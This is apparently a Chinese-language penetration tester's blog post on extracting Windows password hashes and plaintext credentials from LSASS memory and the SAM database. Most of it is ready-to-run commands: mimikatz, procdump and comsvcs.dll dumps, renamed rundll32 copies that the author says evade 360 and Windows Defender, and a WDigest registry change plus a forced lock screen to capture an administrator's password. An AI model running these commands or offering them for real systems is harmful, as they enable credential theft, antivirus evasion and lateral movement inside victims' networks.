内网抓hash/密码

前言

在winserver2012以后,windows保存的不是明文密码,只会保持密码的hash值

本地用户hash保存在SAM数据库中,域内用户密码hash保存在NTDS.dit文件中

常见格式:

1
Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::

AAD3B435B51404EEAAD3B435B51404EE是LM hash 这个是之前认证使用的,现在已经不使用了

31D6CFE0D16AE931B73C59D7E0C089C0是NTLM hash

域环境中,机器认证是利用kerberos协议,在内网渗透中,域环境中拿到普通域用户/域管 hash,可以尝试pth。

工作组环境中如果两台机器如果本地administrator账号密码一样也可能可以pth。

域环境中如果两台机器如果本地administrator账号密码一样也可能可以pth,所以这就体现LAPS方案重要性。

LAPS:Local Administrator Password Solution是本地管理员密码解决方案

1
2
3
4
安装
powershell Get-ADComputer computername -Properties ms-Mcs-AdmPwd | select name, ms-Mcs-AdmPwd

如果安装可在软件列表中发现 Local Administrator Password Solution

LAPS允许您在加入域的情况下管理本地管理员密码随机,唯一且定期更改)电脑。如果计算机未加入域,则将无法使用LAPS。这些密码集中存储在Active Directory中,并且仅限使用ACL的授权用户使用。使用Kerberos v5和AES从客户端到服务器的传输密码受到保护。

这个功能实现的是让加域的客户端本地administrator账号密码随机化(每一台都不一样的复杂随机密码),并且随机化密码存储在AD上可以查询到,避免***者猜出一台就等于猜出一片,从客户端到服务器的传输过程采用Kerberos v5和AES保护

LSASS

lsass进程内存中存储大量敏感信息

1
2
3
4
encrypted passwords
NT hashes
LM hashes
Kerberos tickets

通过LSASS转储来进行权限提升,数据窃取和横向移动等。

1. mimikatz

需要管理员权限

1
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > log.txt 

image-20220325161740275

可分为两步:

1
2
privilege::debug             提升权限
sekurlsa::logonpasswords 抓密码

2. 各种dump+mimikatz

procdump

(官方软件)

有杀软的情况procdump不会被杀,但产生的lsass.dmp会可能被清除 (wdf下面会),我感觉应该在wdf白名单路径下进行转储

1
2
3
4
5
6
7
8
9
procdump64.exe -accepteula -ma lsass.exe lsass.dmp   #然后将lsass.dmp下载到本地

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit"



或者
procdump64.exe -accepteula -ma [lsass.exe的PID] lsass.dmp
(mimikatz.exe "sekurlsa::minidump dump path " "sekurlsa::logonPasswords full" "exit")

image-20220325150155475

rundll32.exe

有这个就 够了

(Windows自带C:\WINDOWS\System32\rundll32.exe) 原理是通过API MiniDumpWriteDump,利用comsvcs.dll导出 函数 minidump 进行dump内存

条件:开启SeDebugPrivilege权限 (管理员cmd下改权限 一般情况是Disabled状态,powershell下默认开启)

powershell/cmd下运行comsvcs.dll 的MiniDump 来dump

1
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id C:\lsass.dmp full

但要绕过AMSI

image-20220325172436533

如何绕过杀软

cmd下 执行火绒,360,wdf 都报毒,并且还可能没有权限

powershell下 火绒不报, 360报, wdf 的amsi直接拦截

绕360和wdf

参考下面文章,但是2022.3.30这种方法不能绕了,,
(https://mp.weixin.qq.com/s/IA42D6hjvk4Bld65Wahuag)

1
2
3
copy C:\windows\System32\comsvcs.dll bypass360.dll

rundll32.exe bypass360.dll, MiniDump pid lsass.dmp full

2022.3.30后来我又想到了,copy rundll32.exe 命名为1.exe ,直接就绕过了

1
2
3
4
5
6
cd  C:\WINDOWS\System32

copy C:\windows\System32\comsvcs.dll bypass360.dll
copy C:\WINDOWS\System32\rundll32.exe 1.exe

1.exe bypass360.dll, MiniDump pid lsass.dmp full

image-20220330172101684

image-20220330172955506

  • 方法肯定很多,这个要分析杀软是怎么进行检测,然后进行对抗绕过。 呜呜呜真的不会其他的

AvDump

我没有搞成功。。。。

1
AvDump.exe --pid <lsass pid> --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\Users\admin\Desktop\lsass.dmp --min_interval 0

SqlDumper

在sqlserver安装路径为:\Program Files\Microsoft SQL Server\90\Shared\SQLDumper.exe

单独安装需要MSVRC100.dll ([https://www.microsoft.com/zh-cn/download/confirmation.aspx?id=26999))

1
Sqldumper.exe <ProcessID> 0 0x01100    完整转储

image-20220330155608001

DumpMinitool.exe

  • 过360,wdf ,自带微软签名,需要vs2022自带的

参考:https://twitter.com/mrd0x/status/1511415432888131586/photo/1

有写winserver不带这个程序,这点比较限制

1
C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\Extensions\TestPlatform\Extensions

DumpMinitool.exe

1
DumpMinitool.exe   --file  c:\dump.txt  --proccessId xxxx --dumpType Full

3. Out-MiniDump

Out-MiniDump.ps1 wdf直接杀,环境win10下Import-Module 不能执行,可能win server能用吧

1
2
3
Import-Module Out-MiniDump  

Get-Process lsass | Out-Minidump

没有成功就不截图了

4. 导出本地SAM+mimikatz

导出本地sam数据库数据,(这个只能获得所有本地用户hash)

1
2
reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM

mimikatz读取即可

1
mimikatz.exe "lsadump::sam /sam:SAM /system:SYSTEM exit"

image-20220325171109114

方法还有更多,杀软也多种多样,慢慢学习吧

参考:

一些获取Windows明文凭据的方法 | Loong716]:https://loong716.top/posts/lsass/

LSASS 内存 - 威胁检测报告 - 红色金丝雀 (redcanary.com)

tips:

  1. winserver2012以后只能抓到用户hash,抓不到明文,但可以通过修改注册表**开启Wdigest Auth**,
1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

然后cmd执行强制锁屏(rundll32 user32.dll,LockWorkStation),等待管理员重新登陆在抓。

  1. hashcat 爆破ntlm hash,有可能拿到明文。
  2. md5解密ntml hash 比较简单的可以解出
  3. 一些工具要做对应的免杀测试吧。

记录下几篇文章:

利用脚本工具进行无文件LSASS dump凭据转储

https://s3cur3th1ssh1t.github.io/Reflective-Dump-Tools/

  • Copyrights © 2020-2023 Shmily-ing
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信